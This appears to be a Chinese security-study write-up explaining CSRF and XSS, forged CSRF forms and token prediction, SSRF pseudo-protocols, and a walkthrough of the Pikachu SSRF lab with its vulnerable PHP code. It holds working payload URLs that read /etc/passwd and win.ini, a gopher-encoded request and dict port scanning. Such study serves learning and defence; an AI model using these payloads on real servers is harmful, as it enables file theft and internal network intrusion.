1.总结CSRF和XSS区别
1、CSRF是跨站请求伪造; XSS是跨域脚本攻击
2、CSRF需要用户先登录网站A,获取cookie; XSS不需要登录
3、CSRF是利用网站A本身的漏洞,去请求网站A的api; XSS是向网站A注入JS代码,然后执行JS里的代码,篡改网站A的内容。(XSS利用的是站点内的信任用户,而CSRF则是通过伪装来自受信任用户的请求来利用受信任的网站。)
2.CSRF攻击步骤
-
用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
-
在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
-
用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
-
网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
-
浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行
3.CSRF手工构造POST型页面方法
构造一个预设好的post方式表单,其中input输入的name和正常提交的一致,type设置为hidden(欺骗受攻击者),最后诱导受害者点击我们预设好的提交按钮,借用用户的凭证执行我们所构造的数据
4.token类CSRF利用方法
可以构造token,之后的操作和普通get、post利用方式一样
构造token:
1.有的token是单纯根据时间戳或者加上用户名来构造的,可以预测token
2.使用burpsuite中自带的csrf token tracker
扩展(具体使用方法在后面靶场介绍)
5.SSRF常用伪协议
常用伪协议有:file://
dict://
sftp://
ldap://
tftp://
gopher://
等
file://
该协议可以从文件系统中获取文件(必须要文件的绝对路径)
例:
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
dict://
通过DICT协议(字典服务协议),攻击者可以访问字典资源,进行端口扫描、获取内网信息、爆破密码等操作
例:
dict://ip:6739/info:访问字典服务器资源
dict://172.251.250.1:80:依次扫描不同端口,通过响应长度判断端口是否开放
ldap://
LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。在SSRF攻击中,攻击者可能会构造包含LDAP URL的请求,试图通过受害服务器访问或操作LDAP服务器上的数据
例:
ldap://[host]:[port]/[baseDN]?[attributes]?[scope]?[filter]
[host]
是LDAP服务器的地址,[port]
是LDAP服务的端口(默认为389,对于LDAPS则为636),[baseDN]
是搜索的基准DN(Distinguished Name),[attributes]
、[scope]
和[filter]
分别用于指定要检索的属性、搜索范围和过滤条件
gopher://
介绍:gopher
协议是一种信息查找系统,他将Internet
上的文件组织成某种索引,方便用户从Internet
的一处带到另一处。在WWW
出现之前,Gopher
是Internet
上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70
端口。但在WWW
出现后到现在,人们很少再使用它
协议 | php | java | curl | perl | asp.net |
---|---|---|---|---|---|
gopher | <5.3 | <jdk1.7 | 低版本不支持 | 支持 | <版本3 |
Gopher协议允许进行广泛的操作,包括GET提交、POST提交、Redis命令执行、FastCGI请求等。它常用于绕过防火墙限制,进行更复杂的攻击
例:
构造GET请求:gopher://172.250.250.4:80/_GET%20/name.php%3fname=123%20HTTP/1.1%0d%0AHost:%20172.250.250.4%0d%0A
构造POST请求:需要保留POST请求头部信息,并进行URL编码
6.SSRF pikachu靶场通关
curl
发现url:http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php
后面有url=
,可以请求服务器上资源,这里由于是windows服务器,直接通过file协议请求
c:\windows\win.ini
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file://c:\windows\win.ini
可看到上方读出win.ini文件内容
file_get_content
该函数可以读取文件内容,观察正常的url:http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php
这里使用php伪协议来去读取info2.php源码内容
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php
可看到页面显示被base64编码过的源码,而且该编码不好复制,可以通过网页源代码进行复制
base64编码:
PGJyPgo8cHJlPgrmiJHniLHov5nlnJ/lnLDigJToib7pnZIKCuWBh+WmguaIkeaYr+S4gOWPqum4n++8jArmiJHkuZ/lupTor6XnlKjlmLblk5HnmoTllonlkpnmrYzllLHvvJoK6L+Z6KKr5pq06aOO6Zuo5omA5omT5Ye7552A55qE5Zyf5Zyw77yMCui/meawuOi/nOaxuea2jOedgOaIkeS7rOeahOaCsuaEpOeahOays+a1ge+8jArov5nml6DmraLmga/lnLDlkLnliK7nnYDnmoTmv4DmgJLnmoTpo47vvIwK5ZKM6YKj5p2l6Ieq5p6X6Ze055qE5peg5q+U5rip5p+U55qE6buO5piO4oCm4oCmCgrigJTigJTnhLblkI7miJHmrbvkuobvvIwKCui/nue+veavm+S5n+iFkOeDguWcqOWcn+WcsOmHjOmdouOAggrkuLrku4DkuYjmiJHnmoTnnLzph4zluLjlkKvms6rmsLTvvJ8K5Zug5Li65oiR5a+56L+Z5Zyf5Zyw54ix5b6X5rex5rKJ4oCm4oCmCgo8L3ByZT4=
放到在线网站解码,解码内容:
<br>
<pre>
我爱这土地—艾青
假如我是一只鸟,
我也应该用嘶哑的喉咙歌唱:
这被暴风雨所打击着的土地,
这永远汹涌着我们的悲愤的河流,
这无止息地吹刮着的激怒的风,
和那来自林间的无比温柔的黎明……
——然后我死了,
连羽毛也腐烂在土地里面。
为什么我的眼里常含泪水?
因为我对这土地爱得深沉……
</pre>
利用成功
7.SSRF靶场源代码漏洞成因
curl
地址:D:\phpStudy\WWW\pikachu\vul\ssrf\ssrf_curl.php
漏洞处代码:
if(isset($_GET['url']) && $_GET['url'] != null){
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
echo $RES;
}
该处没有对url内容进行过滤,应该过滤一些敏感协议或者是敏感文件名称,而且该段代码还会将url执行的结果给返回前端,将查询出的内容回显给攻击者看
file_get_content
地址:D:\phpStudy\WWW\pikachu\vul\ssrf\ssrf_fgc.php
漏洞处代码:
if(isset($_GET['file']) && $_GET['file'] !=null){
$filename = $_GET['file'];
$str = file_get_contents($filename);
echo $str;
}
这段代码更是不经过过滤直接读取用户所指定的文件并且回显内容,该对所读取的文件做过滤和访问权限控制